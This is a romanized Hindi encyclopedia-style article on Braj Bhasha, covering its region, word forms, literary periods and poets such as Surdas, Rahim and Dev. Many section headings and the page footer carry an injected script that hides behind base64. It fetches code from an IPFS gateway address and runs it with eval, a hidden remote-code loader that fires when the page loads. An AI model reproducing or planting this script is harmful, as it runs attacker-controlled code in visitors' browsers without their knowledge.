ब्रजभाषा

braj vishay soochi

braj    parichay    paribhasha    bhoogol    vistar    namakaran aur abhipray    pauranik itihas    braj ka adim kal    braj ka krishna kal    braj ka maury kal    braj ka shuang kal    braj ka shak kushan kal    braj ka gupt kal    braj ka madhy kal    braj ka uttar madhy kal    braj ka mugal kal    braj ka jat maratha kal    braj ka svatantrata sangram 1857    braj ka svatantrata sangram 1920-1947    sanskriti    jivan shaili    prachin sangit    moorti kala mathura    pramukh parv evan tyohar    mukhy darshaniy sthal    chaurasi kos yatra    brajabhasha    holi    veshabhoosha, bhojan v mithaee

brajabhasha
rasakhan ke dohe|200px|center
vivaran	brajabhasha moolat: brajakshetr ki boli hai. 13vian shatabdi se lekar 20vian shatabdi tak bharat mean sahityik bhasha rahane ke karan braj ki is janapadiy boli ne apane vikas ke sath bhasha nam prapt kiya aur brajabhasha nam se jani jane lagi.
brajakshetr	mathura, aligadh, agara, bharatapur aur dhaulapur mean boli jati hai. brajabhasha ka kuchh mishrit roop jayapur ke poorvi bhag tatha bulandashahar, mainapuri, eta, bareli aur badayooan tak bola jata hai.
svaroop	'brajabhasha' mean apana roopagat prakriti aukaraant hai yani ki isaki ekavachaniy pulliang sanjna aur visheshan pray: aukaraant hote haian; jaise khurapau, yamarau, maanjhau adi sanjna shabd aukaraant haian. isi prakar karau, gorau, saanvarau adi visheshan pad aukaraant hai.
kshetriy bhashaoan ke tattv	brajabhasha mean bhojapuri, avadhi, bundeli, panjabi, paha di, rajasthani prabhavoan ki jhaanee p di aur usase brajabhasha mean dipti aur arthavatta aee.
vishesh	bhaktikal ke kaviyoan ne apani rachanaean brajabhasha mean hi likhi haian, jinamean sooradas, rahim, rasakhan, bihari lal, keshav, ghananand adi kavi pramukh haian.
any janakari	adhunik brajabhasha 1 karo d 23 lakh janata ke dvara boli jati hai aur lagabhag 38,000 vargamil ke kshetr mean phaili huee hai.

brajabhasha moolat: brajakshetr ki boli hai. vikram ki 13vian shatabdi se lekar 20vian shatabdi tak bharat mean sahityik bhasha rahane ke karan braj ki is janapadiy boli ne apane vikas ke sath bhasha nam prapt kiya aur brajabhasha nam se jani jane lagi. shuddh roop mean yah aj bhi mathura, agara, dhaulapur aur aligadh ziloan mean boli jati hai. ise ham keandriy brajabhasha bhi kah sakate haian. prarambh mean brajabhasha mean hi kavy rachana huee. bhaktikal ke kaviyoan ne apani rachanaean brajabhasha mean hi likhi haian, jinamean sooradas, rahim, rasakhan, bihari lal, keshav, ghananand adi kavi pramukh haian. hindi filmoan aur filmi gitoan mean bhi brajabhasha ke shabdoan ka bahut prayog hota hai. adhunik brajabhasha 1 karo d 23 lakh janata ke dvara boli jati hai aur lagabhag 38,000 vargamil ke kshetr mean phaili huee hai.

sankshipt parichay

• kendr— mathura
• bolane valoan ki sankhya— 3 karo d
• desh ke bahar tajjubekistan mean brajabhasha boli jati hai, jise 'tajjubeki brajabhasha' kaha jata hai.
• sahity— krishna bhakti kavy ki ekamatr bhasha, lagabhag sara ritikal sahity. sahityik drishti se hiandi bhasha ki sabase mahattvapoorn boli. sahityik mahattv ke karan hi ise brajaboli nahian brajabhasha ki sanjna di jati hai. madhyakal mean is bhasha ne akhil bharatiy vistar paya. bangal mean is bhasha se bani bhasha ka nam 'braj buli' p da. adhunik kal tak is bhasha mean sahity srijan hota raha. par paristhitiyaan aisi bani ki brajabhasha sahityik sianhasan se utar di gee aur usaka sthan kh di boli ne le liya.
• rachanakar— bhaktikalin– sooradas, nandadas adi.

ritikal— bihari, matiram, bhooshan, dev adi. adhunik kalin— bharatendu harishchandr, jagannath das 'ratnakar' adi.

• namoona— ek mathura ji ke chaube he (the), jo dilli saihar kau chalai. ga di vare baniya se chaubeji ki bheant hai gee. to ve chaube bole, ar bhiya seth, kahaan jayago. vau bolo, maharaja dilli jaooango. to chaube bole, bhiya hamooan baithalley. baniya bolo, char roopa chaliange bha de ke. chaube bole, achchha bhiya chari diange.

brajabhasha ka vistar

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shuddh roop mean brajabhasha aj bhi mathura, aligadh, agara, bharatapur aur dhaulapur ziloan mean boli jati hai. brajabhasha ka kuchh mishrit roop jayapur rajy ke poorvi bhag tatha bulandashahar, mainapuri, eta, bareli aur badayooan tak bola jata hai. griyarsan ne apane bhasha sarve mean pilibhit, shahajahaanpur, farrookhabad, haradoee, itava tatha kanapur ki boli ko kannauji nam diya hai, kintu vastav mean yahaan ki boli mainapuri, eta bareli aur badayooan ki boli se bhinn nahian haian. adhik se adhik ham in sab ziloan ki boli ko 'poorvi braj' kah sakate haian. sach to yah hai ki, bundelakhand ki bundeli boli bhi brajabhasha ka hi rupantaran hai. bundeli 'dakshini braj' kahala sakati hai. d aau. gulabaray ke anusar- "brajabhasha ka kshetr nimn prakar hai- mathura, agara, aligadh ziloan ko kendr manakar uttar mean yah almo da, nainital aur bijanaur ziloan tak phaili hai. dakshin mean dhaulapur, gvaliyar tak, poorv mean kannauj aur kanapur ziloan tak, pashchim mean bharatapur aur gudagaanv ziloan tak isaki sima hai.

sahity yatra

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bolachal ki bhasha aur sahityik brajabhasha mean antar karane ki avashyakata do karanoan se p dati hai, bolachal ki brajabhasha braj ke bhaugolik kshetr ke bahar upayog mean nahian laee jati, jabaki sahityik brajabhasha ka upayog brajakshetr ke bahar ke kaviyoan ne bhi usi kushalata ke sath kiya hai, jis kushalata ke sath brajakshetr ke kaviyoan ne kiya hai. doosara antar yah hai ki bolachal ki braj aur sahityik braj ke bich mean ek manak braj hai, jisamean brajabhasha ke upaboliyoan ke sabhi roop svikary nahian hai, doosare shabdoan mean brajakshetr ke vibhinn roop-vikalpoan mean se kuchh hi vikalp manak roop mean svikrit haian aur is manak roop ko braj ke kisi kshetr vishesh se poorn roop se jo dana sambhav nahian hai. adhik se adhik yahi kaha ja sakata hai ki, braj pradesh ke madhyavarti kshetr ki bhasha manak braj ka adhar banati hai. jis tarah merath ke as-pas boli jane vali boli (jise kauravi nam diya gaya hai) manak hindi se bhinn hai, kintu usaka vyakaranik dhaancha manak hindi ka adhar hai, usi tarah madhyavarti braj ka dhaancha manak braj ka adhar hai. manak braj aur sahityik braj ke bich bhi usi prakar ka antar hai, yah bhed vaky-vinyas, pad-vinyas aur ukti-bhangima ke staroan par bhi rekhaankit hota hai. yah to bhasha vijnan ka mana hua siddhant hai ki, sahityik bhasha aur samany bhasha mean antar prayojanavash ata hai aur chooanki sahityik bhasha apane sandesh se kam mahatv nahian rakhati aur usamean bar-bar duharaye jane ki, naya arth udabhavit karane ki kshamata apekshit hoti hai, usamean manak bhasha ki yantrikata apane ap toot jati hai, usamean ek-dishiyata ke sthan par bahudishiyata a jati hai aur shabd-chayan, vaky-vinyas, pad-vinyas sab is prayojan ko charitarth karane ke lie kuchh n kuchh badal jate haian. kintu isaka yah arth nahian hai ki vyakaran badal jata hai ya shabd kosh badal jata hai, keval vyakaran aur shabd ke kary badal jate haian, kyoanki donoan atirikt soddeshyata se vidyut chalit kar diye jate haian.

brajabhasha ka svaroop

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

brajabhasha mean apana roopagat prakriti aukaraant hai yani ki isaki ekavachaniy pulliang sanjna aur visheshan pray: aukaraant hote haian; jaise khurapau, yamarau, maanjhau adi sanjna shabd aukaraant haian. isi prakar karau, gorau, saanvarau adi visheshan pad aukaraant hai. kriya ka samany bhootakal ka ekavachan puanliang roop bhi brajabhasha mean pramukh roop se aukaraant hi rahata hai. kuchh kshetroan mean "yh" shruti ka agam bhi milata hai. aligadh ki tahasil kol ki boli mean samany bhootakalin roop "yh" shruti se rahit milata hai, lekin zila mathura tatha dakshini bulandashahar ki tahasiloan mean "yh" shruti avashy paee jati hai. kannauji ki apani prakriti okaraant hai. sanjna, visheshan tatha kriya ke roopoan mean brajabhasha jahaan aukaraantata lekar chalati hai vahaan kannauji okaraant hai.[[chitr:Guru Gobind Singh.jpg|left|thumb|guru govindasianh]]

brajabhasha ka prayog

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sahityik brajabhasha ka prayog braj ke atirikt boli-kshetroan mean hone ke karan un-un kshetroan ki boliyoan ke rang bhi ju de haian. aj ki sahityik hindi mean bhi is prakar ka prabhav dikhaee p data hai. vah ek kisi ek muhavare ek chal mean bandhi huee bhasha nahian hai, usamean kshetriy rangatoan ko apanane ki aur unhean apane rang mean dalane ki kshamata hai. brajabhasha mean bhi bhojapuri, avadhi, bundeli, panjabi, paha di, rajasthani prabhavoan ki jhaanee p di aur usase brajabhasha mean dipti aur arthavatta aee. kuchh shabdakosh bhi badha, muhavare to nishchit roop se naye-naye usamean sannivisht hue. bundelakhand ke kaviyoan mean padmakar, thakur bodha aur bakhshi hansaraj ka prabhav ullekhaniy hai. bhojapuri kshetr ke kaviyoan mean itane b de nam to nahian lie ja sakate, lekin rangapal, chhutakan jaise kaviyoan ke dvara rache ge phagoan mean bhojapuri se bhavit brajabhasha ki chhata ek alag hi milati hai. gval kavi, guru govindasianh jaise panjab kshetr ke kaviyoan ne panjabi prabhav diya hai. dadoo, sundaradas aur rajjab jaise santakaviyoan ki bhasha mean (jo pramukh roop se brajabhasha hi hai) rajasthani ka put gahara hai.

rasoan ka prayog

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Abdul-Rahim.jpg|thumb|abdurrahim rahim khanakhana]] rachana bahuly ke adhar par pray: yah man liya jata hai ki, brajabhasha kavy ka vishay roop-varnan, shobha-varnan, shrriangari cheshta-varnan, shrriangari hav-bhav-varnan, prakriti ke shrriangaroddipak roop ka varnan vividh prakar ki kaminiyoan ki vilasacharya ka varnan, lalit kala-vinodoan ka varnan aur nagar-nagariyoan ke pahirav, sajav, siangar ka varnan tak hi simit hai. isamean sadharan manushy ke du:kh-dard ya unake jivan-sangharsh ka chitr nahian hai, n kuchh apavadoan ko chho dakar jivan mean utsah vriddhi jagane ke lie vishesh chav hai. isamean jo alaukik, adhyatmik bhav hai bhi, vah bhi ya to alakshit aur sukumar bhavoan ki paridhi ke bhitar hi samaye hue haian ya manushy ke dainy ya udas bhav ke atirek se grast haian. brajabhasha kavy ka sansar is prakar b da hi sankuchit sansar hai. par jab ham byaure mean jate haian aur bhakti-kalin kavy ki zamin ka sarvekshan karate haian aur uttar madhyakal ki niti-pradhan rachanaoan mean ya akshep pradhan rachanaoan ka paryavekshan karate haian, to yah sansar bahut vistut dikhaee p data hai. isamean jinhean darabari kavi kahakar chhota manate haian, unaki kavita mean gaanv ke b de anoothe chitr haian aur lok-vyavahar ke to tarah-tarah ke ayam milate haian. ye ayam shrriangari hi nahian haian adabhut, hasy, shant rasoan ke saiank doan udaharan us uttar madhyakal mean bhi milate haian, jise shrriangar-kal kaha jata hai. yahi nahian, padmakar jaise kavi ki rachana mean sookshm roop mean aangrezoan ke ane ke khatare ki chinta bhi milati hai. bhooshan ki bat chho d bhi de, to bhi anek anam kaviyoan ke bhitar dharati ka lagav, jo jan-jan ke aradhy alanbanoan se ju de hue haian, bahut saral dhang se aankit milata hai. dev ka ek prasiddh chhand hai, jisamean barat ke akar vida hone mean aur usake bad ki udasi ka chitr milata hai.

kam parayau dulahi aru dulah, chakar yar te dvar hi chhoote.
maya ke bajane baji gaye parabhat hi bhat khava uthi boote.
atisabaji gee chhin mean chhooti deki ajau uthike aankhi phoote.
‘dev’ dikhaiyanu dag bane rahe, bag bane te barothahian loote.

[[chitr:Surdas Surkuti Sur Sarovar Agra-19.jpg|sooradas, soor kuti, soor sarovar, agara|thumb|left]]

vidvanoan v kaviyoan dvara prayog

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah bat anadekhi karane yogy nahian hai ki, brajabhasha ke kaviyoan ne samany grihasth jivan ko hi kendr mean rakha hai, chahe ve kavi sant ho, darabari ho, raja ho ya fakir ho. rahim ke nimnalikhit shabd-chitroan mean shramajivi ki sahadharmita aankit hai- [[chitr:Amir-Khusro.jpg|thumb|amir khusaro aur hazarat nizamuddin auliya]]

like sughar khurapiya piy ke sath.
chhibe ek chhatariya barasat path..

brajabhasha sahity sarvekshan

sahityik brajabhasha kosh taiyar karane ke pichhe uddeshy yah nahian hai ki, sahityik brajabhasha ko sahityik hindi se alag karake dekha jae, balki uddeshy yah hai ki, is sahityik brajabhasha ko padhane-padhane mean jo kathinaee ho rahi hai, vishesh roop se un prantoan mean, jahaan kshetriy bhashaean pratham bhasha ke roop mean svikrit haian. usake marg darshan ke lie ek aisa kosh hona chahie, jo brajabhasha sahity ke adhyayan-adhyapan, thik roop se kahean hindi sahity ke samooche adhyayan-adhyapan ko ek avashyak avalamb de sake. sahityik brajabhasha ke aitihasik svaroop ko samajhane ke lie avashyak hai ki, brajabhasha sahity ka sarvekshan is roop mean karaya jae ki is sahity ki prakriti sarvadeshik sarvabhaumik ekatmata lane vali rahi hai.

brajabhasha gady ka prayog

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jab ham brajabhasha sahity kahate haian to, usamean gady ka samavesh nahian karate. isaka karan yah nahian hai ki, brajabhasha mean gady aur sahityik gady hai hi nahian. vaishnavoan ke varta sahity mean, bhakti granthoan ke tika sahity mean tatha ritakalin granthoan ke tika sahity mean brajabhasha gady ka prayog hua hai, parantu gady ka prasar do hi sthitiyoan mean hota hai, ya to vah shastr ho ya gadyagandhi ho, kyoanki inhian donoan dishaoan mean usamean punaravartamanata hoti hai. chhapakhane ke agaman ke bad gady ka mahatv apane ap badha, kyoanki tab kanthagat karane ki apariharyata nahian rahi. lalloolal ji ne apane premasagar mean brajabhasha se bhavit aise gady ki rachana ki aur vah gady hi adhunik gady ki bhoomi bana, kintu brajabhasha ka sthan unnisavian shatabdi ke ant se jo hindi ko mila, usamean gady ki nayi bhoomika ka mahatv to tha hi, sabase b da karan tha, aangrezoan ke dvara uttar bharat mean kachahari bhasha ke roop mean urdoo ko manyata dena.

kal vibhajan

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

brajabhasha sahity ke itihas ko tin charanoan mean baanta ja sakata hai. isaka udayakal jisake oopar 'nagar' apabhransh kavy ki chhap hai. isi karan usamean dikhane vale hindi ke madhy desh mean paida hue amir khusaro se lekar maharashtr mean paida hue mahanubhav aur jnaneshvar ke sathi namadev haian. doosari or panjab se lekar bihar tak ke sant kavi haian, jo bhinn-bhinn prayojanoan se bhinn-bhinn prakar ki bhasha ka vyavahar karate haian, parantu gey prayojan ke lie pray: brajabhasha ka hi vyavahar karate haian. inaki soochi b di lambi hai aur pandrahavian aur solahavian shatabdi ke adhikaansh sant-kavi sahityik brajabhasha ka hi prayog karate haian. mukhy nam ye haian-kabir, raidas, dharmadas aur guru nanak, dadoo dayal aur satrahavian shatabdi ke sundaradas, malookadas aur aksharanany haian.

kshetriy bhashaoan ke tattv

yah man lena ki prarambh ke kavi bhasha ke prati udasin the aur unaka dhyan bhasha ke sanvar par nahian tha, sahi nahian hai. kam se kam bahut door tak nahian hi sahi hai. upadesh ki bhasha ya phatakar ki bhasha mean ek janaboojhakar bazar-bhasha ka roop milata hai, anek kshetriy bhashaoan ke tattv milate haian, kintu jahaan ragatmak sanvedana tivr hai, vahaan bhasha parinishthit hai aur yah parinishthit bhasha braj hai. aisa lagata hai, jaise us yug mean bhasha ke prayog ki kuchh roodhiyaan usi tarah se svikrit ho chuki thian, jis tarah sanskrit ke natakoan mean sanskrit aur vibhinn prakritoan ke sanndarbh mean kuchh roodhiyaan ban gee thian. isilie ek hi kavi bhinn-bhinn bhoomikaoan mean bhinn-bhinn bhashaoan ka prayog karata hai. amir khusaro se hi yah bat drishtigochar hone lagati hai. gey padoan mean chooanki ragatmakata ka sannivesh aparihary hai, isalie unaki bhasha mean to brajabhasha pray: nirapavad roop mean hai. jin dohoan, sorathoan, jhoolane, savaiyoan aur kavittoan mean kori upadeshaparakata nahian hai, sundar tarike se kahane ka bhav hai ya kisi lality ki abhivyanjana hai ya koee gahari sanvedana vyakt karane ka bhav hai, unamean pray: brajabhasha ka hi prayog milega. isake viparit yuddh varnan mean diangal ya rajasthani bhasha ka prayog milega. kahian-kahian is diangal mean prachin apabhransh ke bhi avashesh dikhaee dete haian. jahaan kahian ek khas kism ka shaharipan hai, vahaan par kh di boli ka prayog hai aur jahaan sadhukk di thath hai, vahaan par mishrit bhasha ka prayog kiya gaya hai. is prakar se prabandh yojana mean avadhi bhasha ka prayog adhikatar dekhane ko milata hai. usaka karan hai ki avadhi ne jis apabhransh ka uttaradhikar liya hai, us apabhransh mean prabandh kavy bahut liye ge the. svayanbhoo jaise kaviyoan ne anek prabandh kavy likhe the. [[chitr:Dadu-Dayal.gif|thumb|left|dadoo dayal]]

tadabhav aur tatsam shabdoan ka prayog

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dvitiy charan ke brajabhasha sahity ke paanch bindu atyant sanlakshy roop se dikhaee dete p date haian.

• tadabhav aur tatsam shabdoan ka ek aisa sahaj santulan milata hai, jisamean tatsam shabd bhi brajabhasha ki prakriti mean dhale dikhate haian, adhikatar to ve arddh-tatsam roop mean. ‘pratit’ ke lie ‘paratiti’ jabaki isake sath-sath tadbhav roop ‘patiyabo’ bhi milata hai, jaise tatsam pratipadakoan mean nee nam dhatuean banakar ‘abhilash’ se ‘abhilakhat’ ya ‘anurag’ se ‘anuragat’. is avadhi mean samanantar tatsam aur tadbhav shabdoan ke arthakshetr bhi kuchh n kuchh spashtat: vyatireki ho ge haian. jab nakh-shikh ki bat kareange, tab ‘nah’ ka prayog nahian kareange aur jab dasoan nah ka prayog kareange, tab ‘nakh’ vahaan prayukt nahian hoga.
  

bhasha ke prati asajagata

ek prachin kavisamay ke abhipray ki nee udabhavana ki gee hai ki, prabhu ke charanoan ke nakhoan mean soory ki jyoti ka prakash hai, vahaan rat ki koee sambhavana nahian, vahaan samast dvandvoan ki vishranti hai. bhakti ke dvara jahaan ek or samany vyakti ki bhasha ko asamany mahatv diya gaya aur samany bhasha ka sangitatmak upayog n keval bhagavad bhakti ka sadhan hua, vah bhagavad bhakti ki siddhi bhi bana. is karan se pratyek bhakt gayak aur pad rachanakar hone laga. doosari or jo bhakt kavi kushal nahian the, ve bhasha ke prati sajag nahian rahe, ve sampreshan ke prati udasin rahe, unake man mean yah bhram raha ki bhav mukhy hai, bhasha nahian. ve yah samajh nahian sakate the ki bhav aur bhasha ka bahut ghanishth sambandh hai. inake achet kavi-karm ki bahulata ka prabhav bhasha par p da, usamean kuchh j data ane lagi.

bhakti andolan

[[chitr:Surdas Surkuti Sur Sarovar Agra-12.jpg|thumb|sooradas, soorasarovar, agara]]

mukhy lekh : bhakti andolan

bhakti andolan to chalata raha aur usaka vyapak prabhav bhi janajivan par bana raha, par kavi-karm ke prati sajag kaviyoan ne bhasha aur bhav ke aiky par dhyan dena shuroo kiya. ritikal bhaktihin nahian hai, us kal mean bhi saansarik prapanch mean rahate hue vishv aur vishvatma ko udvelit karane vale prem-vyapar ki chinta thi. ve darabaroan mean ashray pate the, par darabaradari se sabhi kavi bandhe nahian the, jaisa ki pahale bhi kaha ja chuka hai ki unaka sansar nayak-nayika tak simit nahian tha aur n nayak-nayikaean hi uchch varg ya sampann varg tak hi simit thian, ve sadharan jivan mean abhivyapt rag sanvedana ki pahachan karana chahate the. unhean shriradha-krishna ki premanuga-bhakti ka ek chaukhata mil gaya, jisase unhean apani bat kahane mean tho di asani rahi. bhikharidas ki pankti mean-

age ke sukavi rijhi hai to kavitaee
n tau radhika kanhaee ke sumiran ko bahanau hai.

  ka arth yah nahian hai ki sachamuch mean unake lie ‘radhika kanhaee’ ka smaran bahana tha. usaka arth keval yahi hai ki ve vinamratapoorvak apane ko laukik rakhana chahate the, parantu alaukik shrikrishna ki laukik lila se ve kisi bhi prakar aprabhavit nahian the. yadi in kaviyoan ke samanantar darabari urdoo kaviyoan ke sath tulana ki jae to yah bat aur achchhi tarah samajh mean ati hai ki urdoo kavita mean ukti chamatkar ke star par kavi-karm ki vaisi hi sajagata hai, parantu usake anubhav ka sansar simit hai. is karan unaki bhasha mean ek j daoopan to hai, vibhinn prakar ke jivan kshetroan se ane vali tazagi nahian hai. unamean gramy jivan ke chitr nahian ke barabar haian. ritikal mean abhivyakti ko nissandeh mahattv mila, parantu isaka arth yah nahian samajha jana chahie ki unaka kavy anubhav unake bhakt n hone ke karan aparihary roop se hey ya bhakt kaviyoan ki apeksha kam upadey anubhav hai. atirek pratyek yug mean hota hai aur vah us yug ki pravritti nahian hai. usake adhar par us yug ki kavita ka moolyaankan karana samichin nahian hai.

brajabhasha ki samriddhata

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ritikal punarmoolyaankan ki apeksha rakhata hai. vah vyaktitvoan ke adhar par kiya jata raha hai. athava unnisavian shatabdi ki viktoriyan, khokhali naitikata ke manadandoan se kiya jata raha hai. yah sahi hai ki sooradas ya tulasidas ki ooanchaee ka kavi ya unake vyapak kavy sansar jaisa sansar is yug ke kaviyoan mean nahian prapt hai, par sadharan jan ke kanth mean tulasi, soor, kabir ki hi tarah rahim, rasakhan, padmakar, thakur, dev, biharilal hi nahian bahut apekshakrit kam vikhyat kavi bhi chadhe. usaka karan unaki kavita ki sahradata aur sampreshaniyata hi thi. in kaviyoan se brajabhasha samriddh huee hai, usane ek aise jivan mean pravesh kiya hai, jo sabaka ho sakata hai. yah ullekhaniy hai ki is yug ke jo kavi rajadarabaroan mean haian, ve bhi keval kasida ya badhaee likhakar santosh nahian pate the. ve apana kavy raja ko samarpit kar dean, par us kavy mean raja ya rajadarabar ka jivan bahut kam rahata tha. ve prakriti ke mukt vitan ke kavi the, sankari aur aandheri gali ke kavi nahian the. isalie is yug ke utkrisht kavy mean senapati jaise kavi ke svachchh prakriti chitran milate haian aur vibhinn vyavasayoan, vishesh karake krishi vyavasay ke manoram chitr kahian vimb ke roop mean, kahian varny vishay ke roop mean, kahian sadrishy ke roop mean milate haian. sanskrit ki muktak kavy parampara aur sanskrit ki kavyashikha parampara ka day is kal mean prasrit dikhata hai. parantu isaka yah arth nahian ki usake poorvavarti kal mean usaki chhap n ho, apabhransh kavy mean vir gathaoan, vaishnav padavali sahity in sabamean usaki chhap hai. at: isako ritikal ka abhilakshan batana uchit nahian. ritikal ke kaviyoan mean desh ki chetana n ho, aisi bat bhi nahian hai. bhooshan, lal, soodan, padmakar jaise prasiddh kaviyoan ke atirikt bhi anek kavi hue, jinake kavy mean svadesh ka anurag vyakt hota hai aur vah parampara bharatendu harishchandr, shridhar pathak aur saty narayan kaviratn tak akshunn chali aee hai.

left|30px|link=braj chaurasi kos ki yatra|pichhe jaean

braj chaurasi kos ki yatra

brajabhasha

braj mean holi

right|30px|link=braj mean holi|age jaean

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>